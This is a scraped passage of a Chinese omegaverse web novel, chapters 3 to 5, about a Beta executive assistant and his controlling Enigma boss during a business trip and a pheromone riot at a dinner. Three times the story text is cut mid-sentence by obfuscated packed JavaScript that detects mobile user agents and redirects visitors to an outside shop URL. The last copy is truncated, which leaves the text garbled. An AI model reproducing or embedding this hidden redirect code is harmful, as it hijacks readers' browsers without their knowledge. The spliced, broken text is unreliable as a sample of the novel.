用温水浸泡过的软毛巾覆着脸,许知桉想。 也许自己听说的传闻有误。 要知道Alpha大多情绪不稳,很多诱因都会让他们情绪暴躁。 比如伴侣不在视线范围之内,又比如熬夜工作,过度疲劳。 但刚刚的对话里,傅执的情绪似乎非常稳定。 和那天在店里看到的一样,收敛克制,带着恰到好处的关心。 实在不像苛刻的人。 反倒挺友好。 躺在床上,许知桉闭着眼睛,回忆了一下刚刚看过的工作文件。 傅执最近主要跟进的项目里,涉及利益最大的,是恒实药业子公司的收购项目。 AO自主控制信息素的能力有限,大都需要药物辅助。而且腺体作为最脆弱的器官之一,容易发生病变,难以自愈,需要用到生产程序复杂、价格高昂的信息素类药物。 恒时作为全国最大的供药商之一,掌控着多种特效抑制剂的生产线,年流水惊人,规模巨大。 和这样的企业合作,流程想必不会太短。在他正式上岗之后,很有可能仍在进行。 事实证明,许知桉的预测很精准。 周一正式开工,傅执出差去跟进项目了,暂时不在公司,许知桉便抓紧和各部门接触,熟悉工作流程。 周四的午休时间,许知桉在餐厅吃饭,总裁办的Beta同事行色匆匆地赶过来,压低声音道:“许助,十分钟后来会议室,有个紧急会议要准备。” 许知桉不太意外:“关于恒时的会议吗?” Beta同事惊讶地打量了一下面前的人,但也没有时间多问,点点头:“是,尽快过来。” 许知桉:“好,我马上过去。” 他收拾了一下餐具,往会议室那边赶。 会议室里原本有些交谈声,在许知桉推门进入后,骤然安静一瞬。 随即更多人窃窃私语。 “这就是新来的总助吧,姓许的那个?” “是Omega吗?肯定是吧。” “不像,是Beta吧。” “这么好看的Beta?……真少见。” 很多人第一眼见到许知桉,会把他错认成Omega,毕竟长相过于出挑,身形也偏纤细。 但很快,这种刻板印象就会扭转。 Omega们惹眼、脆弱,情绪敏感,是需要被人保护的类型,像精心装饰的花束。 而许知桉清润干净、气质偏淡,尤其在工作中,不难发现他是那种与所有人都保持适当距离、维持好关系,却又不与人过分亲近的,十分典型的Beta。 不为信息素停留的Beta,可以在任何关系之中抽身离去。 谁都很难让他产生情绪波动,也没有人能在他身上留下痕迹。 这种不为所动的冷淡,称不上惊艳,但也有别样的吸引力。 没有人上前搭话,却有几个高大的Alpha,对许知桉时不时侧目。 许知桉对此一无所觉,把需要的资料都导入电脑,又接入了投影屏幕。确认无误后,许知桉走到那个通知他的同事,也就是梁意身边,问:“是合作有什么问题吗?” “是啊。”梁意叹了口气,“和恒时的合作谈了大半年了,本来都定下来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424293|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对面的董事在上午突然反悔,要换条款。” 许知桉心下了然。 恒时这个项目的利润太大,盯上的当然不止元枢一家。可能是其他公司和恒时私下交流,开出了更有优势的条件。 恒时这种做法,对于元枢集团来说不仅是毁约,更是赤裸裸的轻视。 布置好会议室,许知桉和梁意在桌边落座。没过多久,一行人从外面鱼贯而入,脸黑得十分一致,让本就安静的会议室更加压抑。 主管里的其他性别还好些,Alpha们几乎压不住躁动的情绪,烦躁至极,脸色难以抑制地难看。 每个Alpha都把手环调到了最高档。 傅执走在前面,许知桉偏头看过去时,第一眼就注意到了他。 傅执今天也戴了手环,是级别最高的黑色。 许知桉看不到他调到了几档,却莫名觉得他和身后的Alpha们不太一样,并不焦躁,有种格格不入的淡定。 手环似乎对这个级别很高的Alpha作用不大,可有可无。 傅执扫视了一圈会议室,眼神里夹着淡淡寒意,和许知桉对上视线后,稍微停留了一瞬,才又移开。 各人依次落座。 傅执直直走到许知桉身边坐下,高大的体型与身边的Beta对比十分明显。 影子能把他整个人都罩住。 时隔一周才又见面,许知桉想起先前的聊天,有些犹豫。 是不是该主动打个招呼? 由于传言,许知桉先前对老板有些戒备,但几次接触下来,傅执说话做事的风格都让他产生了些许好感。 礼貌绅士,又不失克制的分寸感。 离会议开始还有几分钟,简单打个招呼应该来得及。 于是许知桉默默凑近,把脑袋稍微靠过去,用气音小声道:“傅总好。” 男人余光本就落在他身上,听见这一声后,平静直白地看过来。 Beta的体型小太多,傅执微微低头,才和面前的人对上视线。 Beta穿着的浅色上衣剪裁得当、收束利落,勾勒出匀称的肩膀和腰身。露出的皮肤很白,整体却不过分纤弱,恰到好处。 正在认真、专注地望着他。 傅执默然几秒,让许知桉的注意力在他身上完全停留一段时间后,才点头回应。 虽然没有言语,但许知桉能看出来对方是认真回应他,而不是高高在上的敷衍。 Beta怔然一瞬,默默收回视线。 两分钟后,傅执正式宣布开始。 “恒时那边具体是什么情况?” 并购项目的负责人是一个男性Alpha,被点名后,他在桌下捏紧了自己的手环,忍着信息素躁动导致的偏头痛,哑声道:“成辉私下接触了那边的负责人,开了条件,想横插一脚拿走股权。” “情况发现不及时,项目挽回的概率已经很低。”傅执神情淡淡,“有什么理由吗?” Alpha张了张口:“……” 他想说话,但没能立刻发出声音。 明明傅执没有泄露出半点信息素,Alpha却因为对方的视线,感到肩膀上有座山压着一样重。 后背几乎被冷汗浸湿,头疼得耳鸣。 被挑衅又没有资格回击的感觉,比工作失误本身屈辱百倍。 他缓了几秒才哑声道:“……没有,是我的责任。” 傅执嗯了一声,道:“下次再有这样的情况,就主动离职。” 坐在他旁边的许知桉:“!” 不只是他被吓得一惊,话音刚落,会议室就像结冰了一样,所有人都放轻呼吸,针落可闻。 许知桉眨了几下眼睛,捏着手里的笔,瞥了一眼身边高大肃冷的男人,又悄悄把视线收回来。 看来传言还是有几分可信度的,老板确实喜欢裁人。 处理方式粗暴了些,但许知桉思考了一下之后,竟然觉得……也还好,不算太过分。 毕竟是弄了快半年的大项目,在谈成的节骨眼上弄丢,换任何一个大老板过来都会火冒三丈,把全会议室的人轮流揪起来质问。 作为顶A,傅执还能克制住脾气,情绪如此稳定……已经远远超出许知桉的预料了。 更何况他的语气只是冷漠了些,甚至称不上严厉。 也还好吧,没有传闻里这么夸张。 许知桉不再多想这件事,继续低头记录。 但他在下这个判断时,由于Beta的思维惯性,忽略了一件很重要的事—— 他闻不到信息素,感受不到办公室里的无声博弈。 因此也意识不到,某些时不时落到他身上的浓稠、窥伺的视线,停留片刻后,又不动声色地移开。 - 会议结束,傅执决定了解决方案。下午的事务推掉,他亲自去和恒时接触。 好在下午的工作不多,只有一个内部会议。 旁边的梁意问:“傅总,是要让许助替您参会吗?” 傅执:“不,你去参会,他跟着我。” 听见他们的交谈,许知桉从资料里回神。 傅执微低着头看他:“连夜飞会比较辛苦,可以吗?” 许知桉道:“可以,没问题的。” 他面上不显,其实还是有一点紧张的。 上班头几天就出差,任谁都会不适应。而且谈项目都免不了应酬,许知桉没怎么喝过酒,不清楚自己酒量如何、能不能扛得住。 挡酒是肯定要的,但愿不会喝得太难受吧,他想。 人员三三两两散去,会议室的氛围总算轻松了些,最后只剩下他们两个。 傅执:“会晕机吗?” 许知桉在低头叫车,一下子没反应过来,慢了半拍才抬眼,摇摇头道:“不晕的。” 刚才许知桉看过软件,从S市到J市,要飞三个多小时。 如果晕机,那确实会非常不好受。 许知桉没想到老板还会主动关心他,有点感动,弯眼笑着多加了一句“谢谢傅总。” 连许知桉自己都没注意到,相比会议刚开始时的拘谨,他已经放松了许多。 尤其是在见到傅执,和他相处几个小时之后。 傅执默然地站着,把许知桉从上到下、不留余地地扫视了几遍,将Beta每个因他而起的情绪变化都尽收眼底。 良久后收回视线,垂眸掩去淡淡兴奋。 锋利的喉结滚动几下,压抑着,又归于平静。 “出去等吧,这里有点闷。” 傅执收拾好桌上的文件,抬步领着Beta往外走。 许知桉突然想起什么,在他身后问:“刚刚会上好像有人泄露了信息素,您有没有不舒服?如果有的话,我去给您拿些阻隔剂再出发吧。” 傅执似乎没想到他会问这个,默了一瞬才道:“暂时不用。” 两人并肩往电梯走,准备去公司门口乘车。 电梯里还有其他人,见到两人进来,沉默地让出位置,让许知桉和傅执之间的距离瞬间缩进。 和AO相比,许知桉的鼻子实在算不上灵。但在这样的距离下,他还是闻到了来自傅执身上淡淡的木质气味。 不是香水,可能是傅执常用的沐浴液的味道。 和他给人的感觉一样,内敛克制,不会因为年长且高位,就让许知桉觉得相处起来不自在。 直到现在,许知桉才终于从入职前的敏感戒备稍微放松下来,像一只换了新环境、嗅闻许久,才愿意从沙发底下探出头来的绒毛兔子。 Beta心想,老板似乎并不像传闻里说的那样坏。 工作上强势了一些,其实私下很好相处,情绪也偏沉稳。 属于很少见的,兽性和掌控欲都不太强烈的Alpha。 4. 第 4 章 去机场的路上,梁意把一些项目相关的资料发给许知桉,让他在飞机上记得看。 许知桉:【收到。】 梁意:【对了许助,傅总的易感期在4月份左右,也就是两个月后。辛苦你留意一下。】 许知桉看着“易感期”三个字,呆了一下,有些迟缓的眨了下眼睛。 半晌回了一句:【好的。】 在入职前,许知桉深入地了解过这份工作。 有些公司的老板要求多,总助还兼任半个管家,需要把房子租在老板家附近,以便每天叫早、提醒老板工作日程,还要在老板易感期、发I情期时替人处理工作,盯着老板的身体情况,及时为他提供抑制剂。 原来做傅执的助理,也需要提供这些服务吗? 合同里好像没说明白。 ……这算不算无偿加班啊。 许知桉不讨厌自己的工作,但这不代表他喜欢加班。他靠在车后座上,回忆了一下看过的总助24h待命、感慨生活都要被老板和工作榨干的帖子,又看着手机里的消息,顿时感觉整个人都焉了一点,无声地皱了皱鼻尖。 梁意:【等一下许助,总觉得你好像理解错了,我解释下啊。】 梁意:【不是需要你负责处理傅总易感期的意思,是提醒你在他易感期的时候尽量离远,减少接触。】 梁意:【傅总是管理局特别标注的顶A,嗯……虽然他平时信息素很稳定,克制力很强,但还是小心点比较稳妥。】 梁意:【工作的话线上交接就好,傅总会在隔离病房继续处理的。】 信息量有点大,许知桉一下子没反应过来,半晌才恢复不自觉放轻了的呼吸,默默回了句:【明白了。】 易感期。 继续处理工作。 纵使许知桉是个Beta、对AO的生理知识了解十分有限,他也难以把这两个句子联系在一起。 许知桉的专业是软件工程,上一份工作也是在大公司。 组长是个普通的Alpha,级别不高,工作中偶尔脾气暴躁,但整体也还算好相处。 即便如此,组长依旧要在易感期休假长达半个月,甚至更久,以应对暴虐的信息素紊乱。 普通Alpha都这样了,傅执作为S级,易感期不会难受得更厉害吗? 竟然还能正常工作…… 许知桉真的有点惊讶。 太能忍耐了吧? 又或者是AO的医疗技术进步了,发明出了他所不了解的、能克制Alpha易感症状的新仪器吗? 许知桉隐隐觉得有哪里不对,但他一个不了解信息素的Beta,又难以解释这种奇怪的预感。 从公司到机场的车程大概有五十分钟,Beta一路上都非常安静,却在低头发了几条消息后,神情变得凝重了些。 车开得有些快,窗外闪过的灯光落在他侧脸上,忽明忽灭。 偶尔照亮从宽松衣领里露出来的、过分白皙的半截颈侧。 “许助。” 沉稳嗓音在耳侧响起,许知桉怔了一瞬,随即转头,和旁边一直没发话的上司对上视线。 高大的男人微微垂下眼,唇角平直。 傅执的眼睛本就比一般人稠黑,车里又暗,许知桉和他对视上,恍然觉得这不是一双有情感的、生动的眼睛,而是某种无机质。 是金属般冰冷的漠然。 突如其来的压迫感袭来,许知桉心脏本能地一颤,身子往后退了点,偷偷咽了下唾液。 他呼吸都放轻了些。 许知桉心想,是不是傅执太高大、坐得太近的缘故…… 他们的腿都要挨在一起了。 肩膀也是。 许知桉看着老板,没法再分出心思想别的事。 看见Beta无意识躲闪的动作,傅执滞了一瞬,冷意退去,却没立刻把视线从他的身上移开。 等许知桉的注意力被拉回、在他这里完全停留一阵后,Enigma才微微偏头,喉结轻滚,撤回了持续已久的注视,重新归于平静的深潭。 “在和梁意发消息吗?” “……嗯。” 不知道是不是上班发微信惹老板不高兴了,许知桉抿了下唇,语气有些小心,声音也放软了些:“梁意在跟我交接项目资料,让我上飞机的时候看。” 傅执真的比他高大太多了,年龄又大几岁。 许知桉在他面前,总是莫名有种小辈看长辈的紧张感。 许知桉观察着老板的情绪,没能意识到,自己目光稍微有些躲闪,耳后也泛着些许淡红。 傅执的视线在他光洁的后颈凝滞了几秒,才道:“嗯,给我看看。” 嗯? 许知桉看着男人的神态,眨眨眼。 是他的错觉吗? 老板刚刚明显心情不太好,但这还没过多久就又好了。 甚至比下午时更温和、更有耐心。 虽然不知道原因,但许知桉微紧的心情也跟着放松下来,把手机挪近,给傅执看聊天记录。 傅执颔首道:“没什么错漏。” “好的,那我就按这份来。”许知桉松了口气。 到机场后,两人顺利登机,在天色黑下去后才落地J市。 上了出租车,许知桉对司机报上餐厅的名字。 他打车时专门备注过,司机只要Beta。 据他所知,在高铁、飞机这样人群密集、又AO混杂的封闭环境中待上许久,很容易导致信息素波动。尤其是高级别的Alpha,会心情焦躁不安,对同类产生比平日更强的攻击性。 上车后,许知桉打量了一下自家老板。 神情自然,刀刻一般的鼻梁非常挺拔,正淡淡看着屏幕,和恒时的人发消息沟通。 举止得体、克制。 似乎完全没有被飞机上的混杂信息素所影响。 许知桉放下心来。 一路无话,快到地方的时候,傅执看了看许知桉,说:“待会如果有人敬你,不用接酒。” “嗯?”许知桉下意识道,“是不用替您挡酒的意思吗?” 傅执嗯了一声,言简意赅:“不用。” 没想到对方会这样照顾自己,许知桉心口有点发软,无意识地凑近了一些,在傅执耳边小声道:“没关系的,我其实能喝一点,还不至于一杯倒。” Beta想了想,伸出两根手指比划,神情认真:“我能喝……这么小半瓶,两三杯没问题的。” 今晚还得连夜坐飞机赶回去,不能休息。 如果傅执一个人喝完,想也知道在飞机上会有多难受。 许知桉自己都没意识到,他凑得有些太近,和傅执的手臂几乎贴上。 柔软的温度隔着衣料传递过来。 傅执黑眸沉沉,没有退开,道:“没事,我酒量很好,不会难受。” 男人放低了些声音,语气很温和,内容却不容置疑,把许知桉隐晦的顾虑也全部猜到,没有给他继续辩驳的余地。 许知桉被哄得难以反驳,只能乖乖道:“好吧,那您难受要告诉我。” 走在路上,Beta微微低着头,心想要不要去给傅执临时买些阻隔剂。 毕竟饭局里鱼龙混杂,还不乏高级AO。 如果喝上了头、有人控制不住信息素,很可能会波及到傅执。更不用提他易感期将至,信息素本就比较不稳定。 男人的声音打断了他的思路:“待会紧跟着我。如果有Alpha和你搭话,不用理。” 许知桉呆了一下:“?” 实话说,他没太理解这个要求的目的。毕竟他只是陪同,傅执才是饭桌上的主角,客户要搭话也该是跟他,而不是跟自己。 不过毕竟是老板的要求,许知桉也没有多问,只是点了点头,答应下来。 - 饭局将近结束,许知桉拿老板的卡买完单、开好发票,没立刻回去,站在餐厅门口,短暂地发了一会儿呆。 这个季节的风还微凉,打在脸上,正好吹掉刚刚在包厢里沾上的各种气味。 看场面、递台阶,还要盯着上菜换盘。 一场交谈下来,许知桉前所未有地觉得疲惫,头都晕了。 他能应付这种场合,但确实不喜欢。 想回J市的心情在此刻达到了顶点。 “知桉?” 一个年轻男性的声音从侧边传来,许知桉抬眼,跟那人打招呼:“宁远。” 这是他另一位大学舍友,是个Alpha,毕业后就没见了。 许知桉有些抱歉:“不好意思啊,刚刚人多事杂,没来得及好好聊几句。” “没事,我也是跟老板来应酬的。”宁远笑了笑,“所以你现在是在元枢工作?总助吗?” 许知桉点点头,回忆了一下对方的专业,问:“你呢,在恒时做药品研发吗?” “差不多吧,带了个实验室,研发AO抑制剂。” 许知桉轻声应了一句,没再多问。 几年不见,他这个舍友好像更漂亮了一点。精致的五官微微舒展,嘴唇泛着浅淡的红色,在昏暗里显得有些朦胧柔软。 冷淡,有距离感,不太喜欢和人主动接触的Beta。 很能挑起A骨子里的征服欲。 宁远在心里默默说完,又想起刚刚在酒局上的、许知桉的那个上司,问:“你和傅总关系很好吗?” 唔? 许知桉呆了一下,犹豫道:“嗯……谈不上好不好吧。我这周刚入职,还没怎么跟他共事过。” 宁远动作一滞:“……啊?” 这周? 刚入职? 宁远脸色骤然变得微妙,想起刚刚在酒桌上的场面。恒时的员工给许知桉敬酒,几句客套话还没说完,一只骨节分明的大手伸过,安静拦下了Beta面前的酒杯。 “小朋友不会喝酒。”傅执垂眼,语气动作都很平稳,“我陪您喝。” 傅执挡了一两次,那些关注着许知桉的Alpha也就意识到了什么,脸色讪讪,不敢上前。 当事人可能不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424294|200863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,宁远在局外却看得清楚。 许知桉以为是酒局太乱、人多事杂,才没有和老同学搭话的机会。事实上他做什么事、观察什么人、和谁说话,全都不由自己控制,而是在那位上司的引导之中。 宁远可以肯定,这个人的控制欲很强。 而且他猜测,许知桉和这位上司的关系应该非常不错。职业使然,宁远很了解A的脾性,即便并非伴侣、只是值得信赖的下属,Alpha们也会将其视为自己的势力范围,不讲道理地产生占有欲。 结果许知桉才刚入职一周? 连熟人都算不上吧。 那挡酒算怎么回事,照顾小辈? 元枢老总人这么好吗? 宁远有点纳闷,总觉得哪里不对。但他也没多想,现在解决自己的问题比较紧要,他拧开阻隔剂的瓶盖,抖了抖手腕,用灭火器的架势,对着自己全身上下狠狠喷了一通。 浑身狗味被驱散,Alpha隐隐焦躁的心情才平复了一点。 许知桉听见动静,问:“怎么了,不舒服吗?” “嗯,你是Beta应该闻不到,我老板易感期快到了,味道大得很,再加上包间里几个A和O……”宁远嘀咕了几句,晃了晃手里的阻隔剂,“你要不要给你老板也拿一瓶?他一看就是个Alpha,估计也闷得够呛。” 许知桉抬抬手,给宁远看手里的购物袋:“不用,我刚刚已经去买了。” “哦,那行,我们进去吧。” “好。” 走在对方身后,许知桉还在想刚刚那句对话。 易感期临近……会很不舒服吗? 信息素容易紊乱? 许知桉是Beta,腺体天生不发育,信息素紊乱的难受程度如何、具体到底是什么样子,他无从得知,也不太能共情。 但可能因为傅执是他的上司,也可能因为傅执刚刚帮他挡了酒,许知桉听到宁远的话,竟然有些控制不住地在意。 要缓解Alpha的不适,有什么安抚措施吗? 类似于抚慰大型犬科……这样的? 许知桉纠结了一阵,决定问问宁远。对方这种职业,对这些技巧应该颇有研究。 他抿了下唇道:“宁远,我想问一下……” “在哪?谁暴动了?” “三楼包厢,有个A易感期爆发了,赶紧上去……” “干什么味道那么大?!……” 许知桉话没说完,一阵突发的骚乱让两人都愕然站在原地。 宁远最先反应过来,啧了一声道:“赵总易感期提前了……没事,我带了抑制剂过来,扎一针就行。” 许知桉很少见这种阵仗,有点慌乱:“哦哦,那你快过去吧。” 事情紧急,宁远没等电梯,快步上楼,把许知桉留在原地。 Beta站着滞了一瞬,也转过身快步地往楼上跑。 傅执的易感期也快到了,被这样的信息素冲击,会不会跟着失控? 许知桉紧蹙着眉心,走得很急。 他正装穿得一丝不苟,跑动间凌乱了些,额角渗出点晶莹的汗,呼吸也有点不稳。许知桉在包厢外微微喘气。餐厅的工作人员围着包厢,在往外疏通人员,有点挤,他左右环视着,神情紧张,试图找到傅执。 “傅——” 还没喊出声,后颈就被人用拇指轻轻摁了一下。随即整只手掌贴了上来,很烫,像一块硬热的烙铁。 许知桉被男人粗粝的指腹磨得浑身紧绷,下意识要反抗,但当闻到对方身上淡淡的、温和的木质味时,他浑身一松,没再抵抗,连自己都没意识到地轻轻出了一口气,想转头找人。 “傅执,你没……唔唔!” 许知桉没能回头,他后颈那只滚烫的手微动,拇指懒懒地抵了一下,没用太多力气,就阻止了他想转头看的动作。 接着,那只手附上了Beta的后脑。 许知桉被对方摁住,力道一重,他猝不及防,咚的一下,整个人狠狠地埋进了对方的前胸。 许知桉脸上一软。 “——??” 意识到怀里的人在微微挣扎,Enigma动作微顿,晦暗浓稠的黑眸垂下,手掌克制地离开了Beta的后脑,搭在他的后背轻抚。 动作很温和,却在不让他感觉到痛的前提下不断施加压力,让许知桉完全移动不开。 许知桉不知道发生了什么,却只能保持着这个突兀的、诡异的姿势,在男人身上紧紧贴着。 像是感觉到他的僵硬,Enigma的大手放到Beta身侧,轻轻地、哄孩子那样拍了两下。 “……” 一片沉寂。 过了一会儿,等傅执的呼吸声平息些后,许知桉才小心翼翼地挪动了一下,用额头蹭蹭,试图把脸从傅执的胸前抬起来。 “先别动。” 没有紊乱中的Enigma能接受掌控欲被挑战,这无疑触犯了他。傅执抬了抬手,沙哑嗓音里含着淡淡强势,把怀里人乱动的脑袋又摁回去,哄着他道。 5. 第 5 章 男人低沉的声音在头顶响起时,许知桉先是一怔,随即不受控制地轻颤了一下。 虽然他和傅执没见过几面,交集本就不多,但傅执与他对话时总是温和的、稳重的,从没用这种略带强硬和命令的语气说过话。 他是失控了吗? 许知桉有些不安地想。 可许知桉是个Beta,还是对信息素相当不敏感的那一类Beta。即使有好几个Alpha正在他周围发I情,他的鼻腔里也闻不到任何信息素的味道。 傅执身上也是,除了淡淡的木香味,一点信息素的气味也闻不出来。 许知桉无法判断上司的状态,也不知道为什么他要这样摁着自己。 两个人贴得极近,巨大的体型差距让Beta几乎被身前的人完全包裹着,动弹不得,只能任由对方的呼吸都停留在他的后颈上。 许知桉犹豫许久,还是艰难地伸出手,曲着指尖,扯了扯面前男人的西装下摆。 他轻声问:“您被影响到了吗?需不需要去医院?” Beta的话里饱含着真情实感的担忧,像是真的担心对方出了什么事,语调放得很轻柔。 傅执不知为何没有立刻回应,沉默了半晌,才哑声缓缓道:“没有,没事。” 他慢慢放开了Beta,动作礼貌克制,从许知桉的角度看起来甚至称得上绅士。 被摁了许久后才放开,许知桉的后脑有点麻,还带着男人身上醉酒后过分滚烫的热意,熏得他的脑袋有点晕乎乎的。 他刚从傅执胸口前抬头,有点迷糊地转身,就看见一个发了狂的、被信息素引诱到发Q了的Alpha,猛地挣脱开管理局警卫的控制,赤红着眼,朝一个被保护起来的Omega狠狠扑了过去。 “呀啊——”Omega无助至极的哭声骤然响起。 “拦住他,赶紧拦住……” 猝不及防看到这一幕的许知桉:“∑(O.O;) !” 虽然偶然也会刷到Alpha信息素暴动、Q欲难抑,当街试图□□他人的新闻,但亲眼看见的冲击力还是比新闻大了太多,让许知桉难以作出反应。 没有伴侣、私生活也很规矩的Alpha,大都长期使用抑制剂来控制易感期。 虽然信息素制剂的研发技术已经相对成熟,副作用降到很低,但长期压抑,违反了Alpha的天性,势必会让他们感到痛苦,并且在反扑的时候更加猛烈,变成满脑子只有X交和破坏欲的野兽。 如果级别很高,达到了S级……甚至更高,按照理论来说,就必须进行纾解,不能再长期过量地使用抑制剂。 否则会产生比寻常Alpha更严重的后果,让他们变得偏执、暴戾,极端重I欲。 甚至对自己的伴侣成I瘾。 然而这些对于许知桉来说,都是很遥远的事情。 对于闻不到信息素的Beta来说,Alpha们就像一群被信息素支配的动物,天生欲求不满。按照Beta的逻辑,无论如何也理解不了,为什么会在大庭广众之下对陌生人做出这种举动。 他抗拒的意思太明显,平时冷淡的眸子微微颤着,显得有些不安。 傅执默然一瞬,伸手摁在对方白皙后颈,将许知桉再次转回来,轻轻搭在自己身前,声音里含着哑意:“别看,先等管理局带人撤离。” 许知桉突然明白了些什么,对傅执的举动不再抗拒,很乖地应道:“嗯嗯。” 许知桉总算想明白了,怪不得傅执刚刚要一直这样摁着他。 原来是暴动还没处理好,怕他被吓到,才不让他抬头去看。 在周围的Alpha都因为信息素而躁动的情况下,傅执的表现似乎与他们完全不同。 淡漠、克制,看不出任何失控的前兆。 许知桉突然想,他一直以来的刻板印象可能有误。 虽然大部分Alpha都很极端,但也不乏傅执这样理智的类型。 偏禁I欲一些,能在信息素紊乱的情况下,也很好地遏制住生理冲动。 隐约的信任,让许知桉又往傅执那边靠了一下,像一只窝进洞穴里的警惕的兔子,想离身后还在嘶吼挣扎的Alpha们远一些。 - 一切平定,已经是半个多小时之后。 躁动的Alpha都被管理局的警卫强行注射了抑制剂,这会儿终于冷静下来,脸色惨白,手被束缚带捆在身后,浑身都微微发着冷颤。 玻璃和木屑被破坏得到处都是,满地狼藉。 为了保证安全,宁远也打了一针抑制剂,脸色十分难看,正扶着额头抵抗眩晕。 他站在不远处和管理局的人交谈着,大概是在问自己的老板和同事怎么样了,什么时候可以把人带回去。 许知桉看着,有些沉默。 大学时,他偶然听宁远讲述过Alpha在注射抑制剂后的体验。 在手环这类相对温和的器械被发明后,抑制剂的用量就大大降低了。 但遇上易感期和发I情期、又没有伴侣抚慰时,AO就会变成没有理智的野兽,只知道渴求快gan,非常煎熬。即便有副作用,也必须注射抑制剂。 抑制剂推到血管时,往往是情yu最浓、光靠理智再也压不住的时候。 药液入体,就像把人如一块烧红的烙铁骤然投入冰水中。不得纾解,只能仰躺在床褥上僵着身子,等待情I热机械地、缓慢地褪去。 随着抑制剂使用次数增多,情yu会变本加厉,身体越来越抗拒机械的药液、渴求伴侣温暖的腔体。 总之,许知桉知道打抑制剂这件事对A来说很难受,非常难受。 许知桉回想着刚刚上楼后,傅执对他作出的反应。 虽然上司的情绪依旧平稳、几乎看不出失控,许知桉还是从那个突兀的拥抱里看出了某些端倪。 体温偏高,抱着他时肌肉微微绷紧,扣着他腰的动作也有些用力。 和平时克制保持距离的样子不太一致。 这就说明,虽然傅执自制力很强,但还是有被影响到一些。 那他需要打抑制剂吗? 许知桉抿着唇,有些担忧。 “走吧,我们下楼。” 傅执低沉的嗓音在身侧响起,示意许知桉和他到楼下搭车,他们可以回去了。 “嗯?”许知桉转头看他,茶色的眼睛微微睁大,“可以回去了吗?” “你还有什么没做完的事吗?”傅执问他。 “唔,我没有。但是……”许知桉偏头看了不远处的警卫一眼。 管理局的警卫都穿着防护服,全副武装,正轮流到现场的AO们身边,排查潜在的失控对象。 他们好像在查人,不需要等检查完了再走的吗? 许知桉偏头看着傅执,眼里的疑惑很明显。 傅执看着他,几秒后才开口,声音带着低不可察的笑意:“我们不用等,可以走了。” “嗯嗯,好的。”许知桉这才安下心来,跟着傅执下了楼梯。 连检查都不需要,看来不用打抑制剂了。 许知桉看着男人的背影,微垂下眼,无声地轻出了一口气。 他的注意力过分放在了傅执的身上,没能留意到,管理局的人一直在场内环视,却没有任何人把视线放在他和傅执身上过。 直到Enigma和他身边的Beta离开、身形消失在楼梯的拐角处,警卫们才放松紧绷的神经,心有余悸地往楼梯的暗处看了一眼。 - 连夜飞回S市,返程的飞机上,许知桉掩不住自己的疲惫,连着打了好几个哈欠。 商务舱里非常安静,两人的座位连在一起。 “睡一会儿。”傅执让空乘拿来毛毯,递给旁边的Beta。 许知桉抹了一下眼角的湿润,声音因为困倦显得有点软,和平时的清冷不太一样:“不用,我在飞机上睡不着的。” 傅执没再多劝,但还是把毛毯盖在了许知桉身上。 许知桉把手蜷在毯子里,微微侧头,观察着上司。从酒局的混乱场面离开后,傅执似乎变得更加沉默。 飞机里开着灯,灯光从顶部投射下来,显得男人眉目漆黑,瞳孔平静而沉郁。 完全看不出是一个刚刚经历过信息素紊乱的Alpha…… “这几天适应得怎么样。”傅执问,“工作上有问题吗?” 上司猝不及防发问,许知桉赶紧从疑惑里回神,倾身过去,小声道:“一些流程我还不太熟练,以及和各部门的沟通效率还不是很高……其他的都没问题。” “嗯。”傅执说,“不熟悉的及时和我沟通,效率会更高一些,不要闷着。” 许知桉耳根莫名有点发热,胡乱点了两下头,应好。 他确实是喜欢单干的类型。 本来就是闻不到信息素、不太依赖别人的Beta,到了工作上,更是没有随时向别人求助的习惯,遇事会下意识自己解决。 而这个和岗位不符的小习惯,没过多久就被上司看穿,温和点破。 真的算是非常不强势的那类Alpha了,许知桉在心里再次确认。 下飞机取好行李,两人分别从机场打车回家。 许知桉家离机场很远,要近一个小时。路上他拿出手机,给今晚到场的人发感谢短信。 发到末尾,他脑袋里突然白了一瞬—— 恒时今晚临时请了个负责人,名单里没给。 但他忘了在现场单独加联系方式。 许知桉缓缓深吸了一口气:“……” 虽然老板刚刚说,遇到问题就及时和他沟通…… 但这问题是不是来得有点太快了。 没办法,事情紧急,发太晚就显得他们这边没礼貌了。许知桉只能打开傅执的聊天框,解释了缘由,问他能不能把对方负责人的名片推过来。 大概过了二十分钟,傅执回复了他。 许知桉赶紧编辑好感谢发过去,才松了一口气。 他又转回傅执的聊天框,输入【您到家了吗】,但想了想,许知桉还是没发出去,摁着屏幕,把这条消息缓缓删除了。 虽然傅执一路上都没表现出什么异样,但毕竟出了那样的事……只发消息不太合适。 还是打个电话过去,确认上司安全到家比较好。 许知桉微微垂眼,拨去电话。 车外的灯透过窗照进来,时明时灭,在Beta白皙的脸上留下些脆弱易碎的影子,映出他那颗十分浅淡、需要凑近才能看清楚的眼下痣。 许知桉把手机靠在耳边,安静听着铃声。 过了半晌,他都以为对面不会接了,接通的提示音才响起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 